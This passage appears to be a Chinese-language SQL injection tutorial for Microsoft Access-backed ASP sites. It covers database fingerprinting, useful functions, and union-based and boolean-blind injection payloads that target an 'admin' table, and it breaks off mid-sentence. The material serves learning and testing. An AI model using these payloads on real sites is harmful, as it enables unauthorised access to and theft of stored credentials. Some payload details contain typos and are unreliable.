文章目录
数据库注入
access数据库
判断access数据库
- 根据url的后缀。ASP为后缀名的是ACCESS数据库
- 在url后面加单引号,以报错信息“Microsoft ole db provider for odbc drivers”判断为access
- 通过and (select count(*) from msysobjects)>0发牛错误页面则为access数据库。msysobjects、msysqueries\msysrelationships为access的三个系统表,web环境下没有权限访问
常用函数
- count():返回统计给定条件的行数
- len():字符串长度,例len(‘database’)返回’8‘
- asc():返回ascii值
- mid(‘字符串’,n,m):返回从第n位开始,截取m长度的字符串
- chr():返回ascii对应的字符
- IIF(条件表达式,true,false):判断条件成立返回true,否则返回false
- exists():判断是否存在数据,返回true或false
查询语句构造
联合查询
先判断数据库类型
- 判断整型注入还是字符型,例?id=5-1和?id=4相同,则整型
- 判断列数:?id=1 order by N
- 枚举获取关键表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值则存在,反之
- 获取回显位置:?id=1 union select 1,1,1 from admin
- 获取数据(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果报错,则没有猜解函数的字段
布尔型盲注
- 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),页面出错则